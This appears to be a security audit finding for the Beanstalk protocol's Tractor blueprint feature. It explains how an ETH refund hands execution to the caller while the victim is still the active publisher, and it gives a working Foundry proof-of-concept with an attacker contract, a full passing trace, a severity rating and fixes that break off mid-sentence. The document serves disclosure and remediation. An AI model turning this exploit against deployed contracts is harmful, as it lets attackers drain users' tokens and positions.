The usage of certain function via tractor blueprints can give the executor of the blueprint complete control of the publisher's position in the protocol
The tractor component is meant to execute operations inside the Beanstalk protocol on behalf of a publisher. That means that a user can ONLY execute those functions that the publisher exclusively allowed him to execute. This feature should not enable someone to execute any arbitrary function. However, there are specific functions that can enable a user to execute any arbitrary function on the protocol on behalf of the publisher that he has not allowed to execute.
These function have a particularity, return eth to the caller. Specifically executes the refundEth
function:
This function basically tries to send the remaning ETH in the Beanstalk contract to the msg.sender. When the contract sends ETH to the caller it will pass the transaction execution to the msg.sender.
The main problem here is that when someone is executing one of the functions that refunds ETH on behalf of a publisher, he will gain the transaction execution and will have the hability to call any arbitrary function inside the Beanstalk contract on behalf of the publisher without being allowed to. That's because the activePublisher
will expire once all the functions that the publisher allowed to execute ends. So if the ETH refund is executed in the middle of one of these transactions, the attacker will have the activePublisher
set to the victim and the transaction execution to call any arbitrary funcion on behalf of the publisher.
function test_blueprintHackPOC() public {
uint256 alicePrivateKey = 0xa11ce;
address alice = vm.addr(alicePrivateKey);
address bob = makeAddr("bob");
bytes[] memory datas = new bytes[](1);
datas[0] = abi.encodeWithSignature("beanSown()");
AdvancedFarmCall[] memory advancedCalls = new AdvancedFarmCall[](1);
advancedCalls[0] = AdvancedFarmCall({
callData: abi.encodeWithSignature("farm(bytes[])", datas),
clipboard: ""
});
bytes memory tractorData = abi.encodePacked(bytes4(0x00000000), abi.encode(advancedCalls));
LibTractor.Blueprint memory blueprint = LibTractor.Blueprint({
publisher: alice,
data: tractorData,
operatorPasteInstrs: new bytes32[](0),
maxNonce: type(uint256).max,
startTime: block.timestamp - 1,
endTime: block.timestamp + 10000
});
bytes32 blueprintHash = diamond.getBlueprintHash(blueprint);
bytes32 hashToSign = MessageHashUtils.toEthSignedMessageHash(blueprintHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivateKey, hashToSign);
bytes memory signature = abi.encodePacked(r, s, v);
LibTractor.Requisition memory requisition = LibTractor.Requisition({
blueprint: blueprint,
blueprintHash: blueprintHash,
signature: signature
});
vm.deal(bob, 1 ether);
vm.startPrank(bob);
AttackerContract attackContract = new AttackerContract();
attackContract.startAttack{value: 1 ether}(address(diamond), requisition);
vm.stopPrank();
}
contract AttackerContract {
event GetPublisher(address publisher);
address public diamond;
function startAttack(address diamondAddress, LibTractor.Requisition memory requisition) public payable{
diamond = diamondAddress;
IMockFBeanstalk(diamondAddress).tractor{value: msg.value}(requisition, "");
}
fallback() external payable {
address publisher = IMockFBeanstalk(diamond).getActivePublisher();
emit GetPublisher(publisher);
}
}
Ran 1 test for test/foundry/field/Field.t.sol:FieldTest
[PASS] test_blueprintHackPOC() (gas: 819393)
Traces:
[819393] FieldTest::test_blueprintHackPOC()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]
├─ [0] VM::label(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], "bob")
│ └─ ← [Return]
├─ [7558] Beanstalk::getBlueprintHash(Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] })) [staticcall]
│ ├─ [2483] TractorFacet::getBlueprintHash(Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] })) [delegatecall]
│ │ └─ ← [Return] 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc
│ └─ ← [Return] 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc
├─ [0] VM::sign("<pk>", 0xba27e71307e1d707434c5274f067e4b63ced79208b46d6c0c2daee19d08baaf0) [staticcall]
│ └─ ← [Return] 28, 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea42, 0x6626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d
├─ [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [357391] → new AttackerContract@0x7f9F2c462d5F83B1a5CE6B80CbD691278Fa4647A
│ └─ ← [Return] 1785 bytes of code
├─ [400873] AttackerContract::startAttack{value: 1000000000000000000}(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5], Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }))
│ ├─ [365947] Beanstalk::tractor{value: 1000000000000000000}(Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }), 0x)
│ │ ├─ [363293] TractorFacet::tractor{value: 1000000000000000000}(Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }), 0x) [delegatecall]
│ │ │ ├─ [3000] PRECOMPILES::ecrecover(0xba27e71307e1d707434c5274f067e4b63ced79208b46d6c0c2daee19d08baaf0, 28, 60464173962614186332303462176109042287359479740271240005626956927338423773762, 46204473598528409470120544646691497478798504711195469583190631948092268625229) [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000e05fcc23807536bee418f142d19fa0d21bb0cff7
│ │ │ ├─ emit CancelBlueprint(blueprintHash: 0x0000000000000000000000000000000000000000000000000000000000000001)
│ │ │ ├─ emit CancelBlueprint(blueprintHash: 0x0000000000000000000000000000000000000000000000000000000000000002)
│ │ │ ├─ [206016] FarmFacet::farm{value: 1000000000000000000}([0x0b1d5412]) [delegatecall]
│ │ │ │ ├─ [2326] MockFieldFacet::beanSown{value: 1000000000000000000}() [delegatecall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [4596] AttackerContract::fallback{value: 1000000000000000000}()
│ │ │ │ │ ├─ [2903] Beanstalk::getActivePublisher() [staticcall]
│ │ │ │ │ │ ├─ [461] TractorFacet::getActivePublisher() [delegatecall]
│ │ │ │ │ │ │ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
│ │ │ │ │ │ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
│ │ │ │ │ ├─ emit GetPublisher(publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ ├─ [3769] BEAN/ETH Well::tokens() [staticcall]
│ │ │ │ │ ├─ [1017] well::tokens() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]
│ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]
│ │ │ │ ├─ [1269] BEAN/WSTETH Well::tokens() [staticcall]
│ │ │ │ │ ├─ [1017] well::tokens() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0]
│ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0]
│ │ │ │ ├─ [2714] Bean::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2847] BEAN/ETH Well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ ├─ [2598] well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2847] BEAN/WSTETH Well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ ├─ [2598] well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2714] Unripe Bean::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2714] Unripe LP::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2648] Weth::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2637] wstETH::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ └─ ← [Return] [0x0000000000000000000000000000000000000000000000000000000000000000]
│ │ │ ├─ emit Tractor(operator: AttackerContract: [0x7f9F2c462d5F83B1a5CE6B80CbD691278Fa4647A], blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc)
│ │ │ └─ ← [Return] [0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000]
│ │ └─ ← [Return] [0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 703.03ms (6.43ms CPU time)
Ran 1 test suite in 1.52s (703.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
High, if a publisher signs a hash to execute any of the previously mentioned functions, any user can execute any arbitrary function on his behalf. That includes transfering all tokens out of the publisher's balance, transfer fertilizer, transfer pods, etc...
There are just a few functions that allow this attack but if someone makes a blueprint executing any of these, can get all his positions drained by any malicious actor because it can be called by everyone.
1- Set s.sys.isFarm = 2. This way the refundEth function would not give the transaction execution to the caller.
2- Refund the Eth to the active publisher instead of the msg.sender by changing this: